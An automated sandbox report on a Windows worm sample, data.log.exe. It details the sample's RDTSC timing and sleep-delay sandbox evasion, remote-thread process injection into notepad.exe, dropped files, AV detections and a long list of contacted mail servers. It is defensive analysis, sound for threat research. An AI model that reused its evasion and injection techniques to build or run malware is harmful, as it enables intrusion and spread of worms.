Source: C:\Users\user\Desktop\data.log.exe	RDTSC instruction interceptor: First address: 000000000040C1FC second address: 000000000040C20A instructions: 0x00000000 rdtsc 0x00000002 xor eax, edx 0x00000004 xor dword ptr [esp+0Ch], eax 0x00000008 call esi 0x0000000a push ecx 0x0000000b call dword ptr [73BE17DCh] 0x00000011 mov edi, edi 0x00000013 push ebp 0x00000014 mov ebp, esp 0x00000016 push ecx 0x00000017 mov ecx, dword ptr [7FFE0004h] 0x0000001d mov dword ptr [ebp-04h], ecx 0x00000020 cmp ecx, 01000000h 0x00000026 jc 00007F42DD170D2Eh 0x0000002c mov eax, 7FFE0320h 0x00000031 mov eax, dword ptr [eax] 0x00000033 mul ecx 0x00000035 shrd eax, edx, 00000018h 0x00000039 shr edx, 18h 0x0000003c mov esp, ebp 0x0000003e pop ebp 0x0000003f ret 0x00000040 pop ecx 0x00000041 ret 0x00000042 mov dword ptr [esp+10h], eax 0x00000046 rdtsc
Source: C:\Windows\tserv.exe	RDTSC instruction interceptor: First address: 000000000040C1E0 second address: 000000000040C1EE instructions: 0x00000000 rdtsc 0x00000002 xor eax, edx 0x00000004 xor dword ptr [esp+04h], eax 0x00000008 call esi 0x0000000a push ecx 0x0000000b call dword ptr [73BE17DCh] 0x00000011 mov edi, edi 0x00000013 push ebp 0x00000014 mov ebp, esp 0x00000016 push ecx 0x00000017 mov ecx, dword ptr [7FFE0004h] 0x0000001d mov dword ptr [ebp-04h], ecx 0x00000020 cmp ecx, 01000000h 0x00000026 jc 00007F42DD1711BEh 0x0000002c mov eax, 7FFE0320h 0x00000031 mov eax, dword ptr [eax] 0x00000033 mul ecx 0x00000035 shrd eax, edx, 00000018h 0x00000039 shr edx, 18h 0x0000003c mov esp, ebp 0x0000003e pop ebp 0x0000003f ret 0x00000040 pop ecx 0x00000041 ret 0x00000042 mov dword ptr [esp+08h], eax 0x00000046 rdtsc
Source: C:\Windows\tserv.exe	RDTSC instruction interceptor: First address: 000000000040C1EE second address: 000000000040C1FC instructions: 0x00000000 rdtsc 0x00000002 xor eax, edx 0x00000004 xor dword ptr [esp+08h], eax 0x00000008 call esi 0x0000000a push ecx 0x0000000b call dword ptr [73BE17DCh] 0x00000011 mov edi, edi 0x00000013 push ebp 0x00000014 mov ebp, esp 0x00000016 push ecx 0x00000017 mov ecx, dword ptr [7FFE0004h] 0x0000001d mov dword ptr [ebp-04h], ecx 0x00000020 cmp ecx, 01000000h 0x00000026 jc 00007F42DD170D2Eh 0x0000002c mov eax, 7FFE0320h 0x00000031 mov eax, dword ptr [eax] 0x00000033 mul ecx 0x00000035 shrd eax, edx, 00000018h 0x00000039 shr edx, 18h 0x0000003c mov esp, ebp 0x0000003e pop ebp 0x0000003f ret 0x00000040 pop ecx 0x00000041 ret 0x00000042 mov dword ptr [esp+0Ch], eax 0x00000046 rdtsc
Source: C:\Windows\tserv.exe	RDTSC instruction interceptor: First address: 000000000040C1EE second address: 000000000040C1FC instructions: 0x00000000 rdtsc 0x00000002 xor eax, edx 0x00000004 xor dword ptr [esp+08h], eax 0x00000008 call esi 0x0000000a push ecx 0x0000000b call dword ptr [73BE17DCh] 0x00000011 mov edi, edi 0x00000013 push ebp 0x00000014 mov ebp, esp 0x00000016 push ecx 0x00000017 mov ecx, dword ptr [7FFE0004h] 0x0000001d mov dword ptr [ebp-04h], ecx 0x00000020 cmp ecx, 01000000h 0x00000026 jc 00007F42DD1711BEh 0x0000002c mov eax, 7FFE0320h 0x00000031 mov eax, dword ptr [eax] 0x00000033 mul ecx 0x00000035 shrd eax, edx, 00000018h 0x00000039 shr edx, 18h 0x0000003c mov esp, ebp 0x0000003e pop ebp 0x0000003f ret 0x00000040 pop ecx 0x00000041 ret 0x00000042 mov dword ptr [esp+0Ch], eax 0x00000046 rdtsc
Source: C:\Windows\tserv.exe	RDTSC instruction interceptor: First address: 000000000040C1FC second address: 000000000040C20A instructions: 0x00000000 rdtsc 0x00000002 xor eax, edx 0x00000004 xor dword ptr [esp+0Ch], eax 0x00000008 call esi 0x0000000a push ecx 0x0000000b call dword ptr [73BE17DCh] 0x00000011 mov edi, edi 0x00000013 push ebp 0x00000014 mov ebp, esp 0x00000016 push ecx 0x00000017 mov ecx, dword ptr [7FFE0004h] 0x0000001d mov dword ptr [ebp-04h], ecx 0x00000020 cmp ecx, 01000000h 0x00000026 jc 00007F42DD170D2Eh 0x0000002c mov eax, 7FFE0320h 0x00000031 mov eax, dword ptr [eax] 0x00000033 mul ecx 0x00000035 shrd eax, edx, 00000018h 0x00000039 shr edx, 18h 0x0000003c mov esp, ebp 0x0000003e pop ebp 0x0000003f ret 0x00000040 pop ecx 0x00000041 ret 0x00000042 mov dword ptr [esp+10h], eax 0x00000046 rdtsc
Source: C:\Windows\tserv.exe	RDTSC instruction interceptor: First address: 000000000040C1FC second address: 000000000040C20A instructions: 0x00000000 rdtsc 0x00000002 xor eax, edx 0x00000004 xor dword ptr [esp+0Ch], eax 0x00000008 call esi 0x0000000a push ecx 0x0000000b call dword ptr [73BE17DCh] 0x00000011 mov edi, edi 0x00000013 push ebp 0x00000014 mov ebp, esp 0x00000016 push ecx 0x00000017 mov ecx, dword ptr [7FFE0004h] 0x0000001d mov dword ptr [ebp-04h], ecx 0x00000020 cmp ecx, 01000000h 0x00000026 jc 00007F42DD1711BEh 0x0000002c mov eax, 7FFE0320h 0x00000031 mov eax, dword ptr [eax] 0x00000033 mul ecx 0x00000035 shrd eax, edx, 00000018h 0x00000039 shr edx, 18h 0x0000003c mov esp, ebp 0x0000003e pop ebp 0x0000003f ret 0x00000040 pop ecx 0x00000041 ret 0x00000042 mov dword ptr [esp+10h], eax 0x00000046 rdtsc

Source: C:\Windows\tserv.exe TID: 5708	Thread sleep time: -300000s >= -30000s	Jump to behavior
Source: C:\Windows\tserv.exe TID: 5428	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\tserv.exe TID: 6852	Thread sleep time: -1200000s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\data.log.exe

Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess

graph_0-12752

Source: C:\Users\user\Desktop\data.log.exe

Code function: 0_2_0040C1D0 rdtsc

0_2_0040C1D0

Source: C:\Windows\tserv.exe	Thread delayed: delay time: 300000			Jump to behavior
Source: C:\Windows\tserv.exe	Thread delayed: delay time: 300000			Jump to behavior

Source: C:\Users\user\Desktop\data.log.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_0-12686

Source: C:\Users\user\Desktop\data.log.exe

Code function: 0_2_00429F44 VirtualQuery,GetSystemInfo,VirtualQuery,VirtualAlloc,VirtualProtect,

0_2_00429F44

Source: C:\Users\user\Desktop\data.log.exe

Code function: 0_2_00406360 GetFileAttributesA,lstrcpyA,lstrcatA,lstrcatA,FindFirstFileA,GetLastError,lstrcmpA,lstrcmpA,lstrcmpA,lstrcpyA,lstrcatA,lstrcatA,lstrcpyA,lstrcatA,FindNextFileA,FindClose,

0_2_00406360

Source: C:\Windows\tserv.exe	Thread delayed: delay time: 300000	Jump to behavior
Source: C:\Windows\tserv.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Windows\tserv.exe	Thread delayed: delay time: 300000	Jump to behavior

Source: C:\Users\user\Desktop\data.log.exe

API call chain: ExitProcess graph end node

graph_0-12753

Source: C:\Windows\tserv.exe	File opened: c:\Program Files\WindowsApps\DeletedAllUserPackages\	Jump to behavior
Source: C:\Windows\tserv.exe	File opened: c:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.BingWeather_4.22.3254.0_neutral_split.scale-150_8wekyb3d8bbwe\Assets\AppTiles\	Jump to behavior
Source: C:\Windows\tserv.exe	File opened: c:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.BingWeather_4.22.3254.0_neutral_split.scale-150_8wekyb3d8bbwe\Assets\	Jump to behavior
Source: C:\Windows\tserv.exe	File opened: c:\Program Files\WindowsApps\Deleted\	Jump to behavior
Source: C:\Windows\tserv.exe	File opened: c:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.BingWeather_4.22.3254.0_neutral_split.scale-150_8wekyb3d8bbwe\	Jump to behavior
Source: C:\Windows\tserv.exe	File opened: c:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.BingWeather_4.22.3254.0_neutral_split.scale-150_8wekyb3d8bbwe\microsoft.system.package.metadata\	Jump to behavior

Source: C:\Users\user\Desktop\data.log.exe

Code function: 0_2_0041F660 LoadLibraryA,GetProcAddress,SetWindowsHookExA,

0_2_0041F660

Source: C:\Users\user\Desktop\data.log.exe

Code function: 0_2_004210D0 GetProcessHeap,GetProcessHeap,HeapAlloc,RegOpenKeyExA,GetLastError,GetProcessHeap,HeapFree,RegCloseKey,

0_2_004210D0

Source: C:\Users\user\Desktop\data.log.exe

Code function: 0_2_0040C1D0 rdtsc

0_2_0040C1D0

Source: C:\Users\user\Desktop\data.log.exe	Code function: 0_2_0042731A SetUnhandledExceptionFilter,		0_2_0042731A
Source: C:\Users\user\Desktop\data.log.exe	Code function: 0_2_0042732E SetUnhandledExceptionFilter,		0_2_0042732E

HIPS / PFW / Operating System Protection Evasion:

Injects files into Windows application

Show sources

Source: C:\Windows\SysWOW64\notepad.exe

Injected file: C:\Users\user\Desktop\615D.tmp was created by C:\Users\user\Desktop\data.log.exe

Jump to behavior

Contains functionality to inject threads in other processes

Show sources

Source: C:\Users\user\Desktop\data.log.exe

Code function: 0_2_00404840 OpenProcess,lstrlenA,VirtualAllocEx,WriteProcessMemory,GetModuleHandleA,GetProcAddress,CreateRemoteThread,

0_2_00404840

Source: C:\Users\user\Desktop\data.log.exe

Code function: 0_2_00423260 GetProcessHeap,HeapAlloc,HeapAlloc,HeapAlloc,HeapFree,RtlAllocateHeap,HeapFree,HeapFree,HeapFree,HeapAlloc,HeapFree,HeapFree,HeapFree,HeapAlloc,HeapFree,HeapFree,HeapFree,HeapFree,RtlAllocateHeap,HeapFree,HeapFree,HeapFree,HeapFree,HeapFree,InitializeSecurityDescriptor,GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetTokenInformation,GetTokenInformation,GetTokenInformation,SetSecurityDescriptorOwner,SetSecurityDescriptorGroup,AllocateAndInitializeSid,GetLengthSid,AddAce,AllocateAndInitializeSid,GetLengthSid,AddAce,AllocateAndInitializeSid,GetLengthSid,AddAce,IsValidSecurityDescriptor,

0_2_00423260

Source: notepad.exe, 00000005.00000002.1010705980.0000000003330000.00000002.00020000.sdmp	Binary or memory string: Program Manager
Source: notepad.exe, 00000005.00000002.1010705980.0000000003330000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd
Source: notepad.exe, 00000005.00000002.1010705980.0000000003330000.00000002.00020000.sdmp	Binary or memory string: Progman
Source: notepad.exe, 00000005.00000002.1010705980.0000000003330000.00000002.00020000.sdmp	Binary or memory string: Progmanlock

Source: C:\Windows\SysWOW64\notepad.exe

Queries volume information: C:\Users\user\Desktop\615D.tmp VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\data.log.exe

Code function: GetLocaleInfoA,

0_2_0042C8B2

Source: C:\Users\user\Desktop\data.log.exe

Code function: 0_2_00401830 ExpandEnvironmentStringsA,GetLocalTime,CreateFileA,CloseHandle,

0_2_00401830

Source: C:\Users\user\Desktop\data.log.exe

Code function: 0_2_0040BE00 lstrlenA,GetLocalTime,GetTimeZoneInformation,

0_2_0040BE00

Source: C:\Users\user\Desktop\data.log.exe

Code function: 0_2_00425D91 EntryPoint,GetVersionExA,GetModuleHandleA,GetModuleHandleA,_fast_error_exit,_fast_error_exit,GetCommandLineA,GetStartupInfoA,GetModuleHandleA,

0_2_00425D91

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Native API3	Registry Run Keys / Startup Folder1	Access Token Manipulation1	Masquerading121	OS Credential Dumping	System Time Discovery2	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Encrypted Channel1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Shared Modules1	DLL Side-Loading1	Process Injection22	Virtualization/Sandbox Evasion21	LSASS Memory	Query Registry1	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Non-Standard Port1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Application Shimming1	Registry Run Keys / Startup Folder1	Access Token Manipulation1	Security Account Manager	Security Software Discovery22	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Non-Application Layer Protocol1	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	DLL Side-Loading1	Process Injection22	NTDS	Virtualization/Sandbox Evasion21	Distributed Component Object Model	Input Capture	Scheduled Transfer	Application Layer Protocol11	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Application Shimming1	Deobfuscate/Decode Files or Information1	LSA Secrets	Process Discovery2	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Obfuscated Files or Information2	Cached Domain Credentials	Remote System Discovery1	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Software Packing1	DCSync	File and Directory Discovery2	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	DLL Side-Loading1	Proc Filesystem	System Information Discovery124	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
data.log.exe	86%	Virustotal		Browse
data.log.exe	68%	Metadefender		Browse
data.log.exe	91%	ReversingLabs	Win32.Worm.Stration
data.log.exe	100%	Avira	TR/Hijacker.Gen
data.log.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Windows\tserv.exe	100%	Avira	TR/Hijacker.Gen
C:\Windows\tserv.exe	100%	Joe Sandbox ML
C:\Windows\tserv.exe	68%	Metadefender		Browse
C:\Windows\tserv.exe	91%	ReversingLabs	Win32.Worm.Stration

Unpacked PE Files

Source	Detection	Scanner	Label	Link	Download
0.2.data.log.exe.400000.0.unpack	100%	Avira	TR/Hijacker.Gen		Download File
0.0.data.log.exe.400000.0.unpack	100%	Avira	TR/Hijacker.Gen		Download File

Domains

Source	Detection	Scanner	Link
www3.cedesunjerinkas.com	1%	Virustotal	Browse
ppp.ro	1%	Virustotal	Browse
mx01.oxsus-vadesecure.net	1%	Virustotal	Browse
ma-01.vlada.hr	0%	Virustotal	Browse

URLs

No Antivirus matches

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
mimas.w3.org	128.30.52.79	true	false		high
alt3.gmail-smtp-in.l.google.com	142.250.157.26	true	false		high
www3.cedesunjerinkas.com	193.166.255.171	true	false	1%, Virustotal, Browse	unknown
ppp.ro	176.223.123.126	true	false	1%, Virustotal, Browse	unknown
mx01.oxsus-vadesecure.net	51.81.57.58	true	true	1%, Virustotal, Browse	unknown
alt2.gmail-smtp-in.l.google.com	74.125.200.27	true	false		high
ma-01.vlada.hr	195.29.173.138	true	false	0%, Virustotal, Browse	unknown
mx01.mail.com	74.208.5.22	true	false		high
alt2.aspmx.l.google.com	74.125.200.27	true	false		high
mail1.edvz.uni-linz.ac.at	140.78.3.68	true	true		unknown
alt4.gmail-smtp-in.l.google.com	173.194.202.27	true	false		high
mail.dva.hr	138.201.223.6	true	false		unknown
mta5.am0.yahoodns.net	67.195.228.110	true	false		unknown
aspmx3.googlemail.com	74.125.200.26	true	false		unknown
mta.openssl.org	194.97.150.230	true	false		high
pb-mx20.pobox.com	173.228.157.39	true	false		high
pb-mx23.pobox.com	173.228.157.42	true	false		high
mx.leonet.it	212.19.106.223	true	false		unknown
titan.w3.org	128.30.52.76	true	false		high
mail.vlada.hr	195.29.173.131	true	false		unknown
www4.cedesunjerinkas.com	193.166.255.171	true	false		unknown
pb-mx9.pobox.com	64.147.108.50	true	false		high
pb-mx10.pobox.com	64.147.108.51	true	false		high
ma-02.vlada.hr	195.29.173.139	true	false		unknown
mxa-00377f03.gslb.pphosted.com	205.220.176.130	true	false		high
mta7.am0.yahoodns.net	67.195.204.72	true	false		unknown
mx2.mailchannels.net	35.82.253.27	true	false		high
mail4.edvz.uni-linz.ac.at	140.78.3.82	true	true		unknown
smx01.a1.net	195.3.96.71	true	false		high
alt1.gmail-smtp-in.l.google.com	142.250.150.26	true	false		high
mx12.bigmir.net	193.239.71.112	true	false		high
mx00.mail.com	74.208.5.20	true	false		high
smtp.litwareinc.com	96.47.154.206	true	false		unknown
cluster10.us.messagelabs.com	67.219.247.199	true	false		high
pb-mx22.pobox.com	173.228.157.41	true	false		high
aspmx4.googlemail.com	142.250.157.26	true	false		unknown
ismtp.sitestar.everyone.net	216.200.145.235	true	false		high
mx1.bigmir.net	193.239.68.121	true	false		high
mxb-0028be01.gslb.pphosted.com	148.163.149.218	true	false		high
mxbck.leonet.it	185.175.124.58	true	false		unknown
mx03.oxsus-vadesecure.net	51.81.242.59	true	true		unknown
mx13.bigmir.net	193.239.71.113	true	false		high
pb-mx11.pobox.com	64.147.108.52	true	false		high
mx2.inbox.lv	194.152.32.75	true	false		high
antispam.hosting-zdarma.cz	130.193.9.47	true	false		unknown
mx.yandex.ru	77.88.21.249	true	false		high
mx3c50.megamailservers.eu	91.136.8.47	true	false		unknown
alt1.aspmx.l.google.com	142.250.150.26	true	false		high
oopp.pl	94.152.34.135	true	false		unknown
pb-mx14.pobox.com	64.147.108.55	true	false		high
mx04.oxsus-vadesecure.net	51.81.242.150	true	true		unknown
mxb-00377f01.gslb.pphosted.com	185.183.28.235	true	false		high
gmail-smtp-in.l.google.com	108.177.119.27	true	false		high
aspmx2.googlemail.com	142.250.150.26	true	false		unknown
mx-aol.mail.gm0.yahoodns.net	98.136.96.93	true	false		unknown
mxa-00377f01.gslb.pphosted.com	185.132.181.97	true	false		high
mx.cam.ac.uk	131.111.8.149	true	false		unknown
mx10.bigmir.net	213.186.119.6	true	false		high
mail3.edvz.uni-linz.ac.at	140.78.3.83	true	true		unknown
mta6.am0.yahoodns.net	67.195.228.109	true	false		unknown
mx02.oxsus-vadesecure.net	51.81.57.59	true	true		unknown
mxb-00377f03.gslb.pphosted.com	205.220.176.130	true	false		high
mx2c50.megamailservers.eu	91.136.8.46	true	false		unknown
mail.h-email.net	34.223.6.127	true	false		unknown
onlineconnections.com.au	192.254.190.168	true	false		unknown
mx3.bigmir.net	193.239.68.121	true	false		high
mx1.mailchannels.net	44.239.72.13	true	false		high
domini-cat.mail.protection.outlook.com	104.47.17.74	true	false		high
bart.w3.org	193.51.208.80	true	false		high
mail.fabrikam.com	131.107.55.31	true	false		unknown
gzip.org	85.187.148.2	true	false		unknown
aspmx5.googlemail.com	173.194.202.26	true	false		unknown
mx1.inbox.lv	194.152.32.74	true	false		high
mxa-0028be01.gslb.pphosted.com	148.163.149.218	true	false		high
mx.sourceforge.net	216.105.38.6	true	false		high
mx1c50.megamailservers.eu	91.136.8.41	true	false		unknown
mail.adatum.com	131.107.88.24	true	false		unknown
msn-com.olc.protection.outlook.com	104.47.51.33	true	false		high
pb-mx21.pobox.com	173.228.157.40	true	false		high
contoso-com.mail.protection.outlook.com	104.47.51.110	true	false		high
mail2.edvz.uni-linz.ac.at	140.78.3.69	true	true		unknown
hotmail-com.olc.protection.outlook.com	104.47.17.97	true	false		high
cluster10a.us.messagelabs.com	54.83.87.114	true	false		high
aspmx.l.google.com	173.194.79.27	true	false		high
www2.cedesunjerinkas.com	193.166.255.171	true	false		unknown
hotmail.com	unknown	unknown	false		high
fanfary.pq	unknown	unknown	true		unknown
dva.hr	unknown	unknown	true		unknown
yahoo.com	unknown	unknown	false		high
fb.cz	unknown	unknown	true		unknown
inbox.lv	unknown	unknown	false		high
tek-astore.cz	unknown	unknown	true		unknown
fajrant.qz	unknown	unknown	true		unknown
pobox.com	unknown	unknown	false		high
griepp.pl	unknown	unknown	true		unknown
xara.pl	unknown	unknown	true		unknown
fafa.pk	unknown	unknown	true		unknown
contoso.mx	unknown	unknown	true		unknown
contoso.es	unknown	unknown	true		unknown
aol.com	unknown	unknown	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
67.219.247.199	cluster10.us.messagelabs.com	United States	26282	SYMANTEC-US	false
216.105.38.6	mx.sourceforge.net	United States	6130	AIS-WESTUS	false
44.239.72.13	mx1.mailchannels.net	United States	16509	AMAZON-02US	false
142.250.157.26	alt3.gmail-smtp-in.l.google.com	United States	15169	GOOGLEUS	false
51.81.242.150	mx04.oxsus-vadesecure.net	United States	16276	OVHFR	true
104.47.17.97	hotmail-com.olc.protection.outlook.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.175.124.58	mxbck.leonet.it	Italy	15691	LEONET-AS-IT	false
74.208.5.22	mx01.mail.com	United States	8560	ONEANDONE-ASBrauerstrasse48DE	false
142.250.150.26	alt1.gmail-smtp-in.l.google.com	United States	15169	GOOGLEUS	false
74.208.5.20	mx00.mail.com	United States	8560	ONEANDONE-ASBrauerstrasse48DE	false
142.250.150.27	unknown	United States	15169	GOOGLEUS	false
51.81.242.59	mx03.oxsus-vadesecure.net	United States	16276	OVHFR	true
173.228.157.39	pb-mx20.pobox.com	United States	11403	NYINTERNETUS	false
77.88.21.249	mx.yandex.ru	Russian Federation	13238	YANDEXRU	false
131.111.8.149	mx.cam.ac.uk	United Kingdom	786	JANETJiscServicesLimitedGB	false
67.195.228.110	mta5.am0.yahoodns.net	United States	36647	YAHOO-GQ1US	false
104.47.17.161	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	true
140.78.3.83	mail3.edvz.uni-linz.ac.at	Austria	1205	JKU-LINZ-ASUniversityLinzAT	true
216.200.145.235	ismtp.sitestar.everyone.net	United States	30627	EON-NETUS	false
140.78.3.82	mail4.edvz.uni-linz.ac.at	Austria	1205	JKU-LINZ-ASUniversityLinzAT	true
54.83.87.114	cluster10a.us.messagelabs.com	United States	14618	AMAZON-AESUS	false
96.47.154.206	smtp.litwareinc.com	United States	23314	ORLANDOTELCOUS	false
173.194.202.26	aspmx5.googlemail.com	United States	15169	GOOGLEUS	false
148.163.149.218	mxb-0028be01.gslb.pphosted.com	United States	26211	PROOFPOINT-ASN-US-WESTUS	false
131.107.55.31	mail.fabrikam.com	United States	3598	MICROSOFT-CORP-ASUS	false
98.136.96.74	unknown	United States	36646	YAHOO-NE1US	false
173.194.79.27	aspmx.l.google.com	United States	15169	GOOGLEUS	false
142.250.153.27	unknown	United States	15169	GOOGLEUS	false
195.3.96.71	smx01.a1.net	Austria	8447	TELEKOM-ATA1TelekomAustriaAGAT	false
193.239.68.121	mx1.bigmir.net	Ukraine	39468	BIGMIR-INTERNET-ASUA	false
104.47.58.161	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	true
104.47.51.110	contoso-com.mail.protection.outlook.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
34.223.6.127	mail.h-email.net	United States	16509	AMAZON-02US	false
108.177.127.27	unknown	United States	15169	GOOGLEUS	false
94.152.34.135	oopp.pl	Poland	29522	KEIPL	false
104.47.73.161	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	true
213.186.119.6	mx10.bigmir.net	Ukraine	6849	UKRTELNETUA	false
51.81.57.58	mx01.oxsus-vadesecure.net	United States	16276	OVHFR	true
128.30.52.76	titan.w3.org	United States	3	MIT-GATEWAYSUS	false
51.81.57.59	mx02.oxsus-vadesecure.net	United States	16276	OVHFR	true
85.187.148.2	gzip.org	United States	55293	A2HOSTINGUS	false
195.29.173.139	ma-02.vlada.hr	Croatia (LOCAL Name: Hrvatska)	5391	T-HTCroatianTelecomIncHR	false
104.47.17.74	domini-cat.mail.protection.outlook.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
34.215.215.23	unknown	United States	16509	AMAZON-02US	false
185.132.181.97	mxa-00377f01.gslb.pphosted.com	Netherlands	52129	PROOFPOINT-ASN-EUGB	false
195.29.173.131	mail.vlada.hr	Croatia (LOCAL Name: Hrvatska)	5391	T-HTCroatianTelecomIncHR	false
130.193.9.47	antispam.hosting-zdarma.cz	Czech Republic	198171	HOSTING90UPSTREAMconnectivityCZ	false
67.195.204.79	unknown	United States	26101	YAHOO-3US	false
195.29.173.138	ma-01.vlada.hr	Croatia (LOCAL Name: Hrvatska)	5391	T-HTCroatianTelecomIncHR	false
194.152.32.74	mx1.inbox.lv	Latvia	12993	DEAC-ASLV	false
194.152.32.75	mx2.inbox.lv	Latvia	12993	DEAC-ASLV	false
138.201.223.6	mail.dva.hr	Germany	24940	HETZNER-ASDE	false
67.195.204.77	unknown	United States	26101	YAHOO-3US	false
67.195.204.72	mta7.am0.yahoodns.net	United States	26101	YAHOO-3US	false
74.125.200.26	aspmx3.googlemail.com	United States	15169	GOOGLEUS	false
193.239.71.113	mx13.bigmir.net	Ukraine	39468	BIGMIR-INTERNET-ASUA	false
192.254.190.168	onlineconnections.com.au	United States	46606	UNIFIEDLAYER-AS-1US	false
67.195.228.109	mta6.am0.yahoodns.net	United States	36647	YAHOO-GQ1US	false
91.136.8.41	mx1c50.megamailservers.eu	United Kingdom	9115	INFB-AS9115GB	false
74.125.200.27	alt2.gmail-smtp-in.l.google.com	United States	15169	GOOGLEUS	false
140.78.3.69	mail2.edvz.uni-linz.ac.at	Austria	1205	JKU-LINZ-ASUniversityLinzAT	true
142.250.145.27	unknown	United States	15169	GOOGLEUS	false
98.136.96.93	mx-aol.mail.gm0.yahoodns.net	United States	36646	YAHOO-NE1US	false
140.78.3.68	mail1.edvz.uni-linz.ac.at	Austria	1205	JKU-LINZ-ASUniversityLinzAT	true
91.136.8.47	mx3c50.megamailservers.eu	United Kingdom	9115	INFB-AS9115GB	false
91.136.8.46	mx2c50.megamailservers.eu	United Kingdom	9115	INFB-AS9115GB	false
193.239.71.112	mx12.bigmir.net	Ukraine	39468	BIGMIR-INTERNET-ASUA	false
104.47.51.33	msn-com.olc.protection.outlook.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
108.177.119.26	unknown	United States	15169	GOOGLEUS	false
194.97.150.230	mta.openssl.org	Germany	5539	SPACENETSpaceNETAGDE	false
193.166.255.171	www3.cedesunjerinkas.com	Finland	1741	FUNETASFI	false
176.223.123.126	ppp.ro	Romania	5588	GTSCEGTSCentralEuropeAntelGermanyCZ	false
104.47.56.110	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	true
131.107.88.24	mail.adatum.com	United States	3598	MICROSOFT-CORP-ASUS	false

Private

IP
192.168.2.1
127.0.0.1

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	549361
Start date:	07.01.2022
Start time:	15:54:40
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 8m 33s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	data.log.scr (renamed file extension from scr to exe)
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.spre.troj.evad.winEXE@6/6@330/76
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 28.6% (good quality ratio 27.3%) Quality average: 78.3% Quality standard deviation: 24.2%
HCA Information:	Failed
Cookbook Comments:	Adjust boot time Enable AMSI
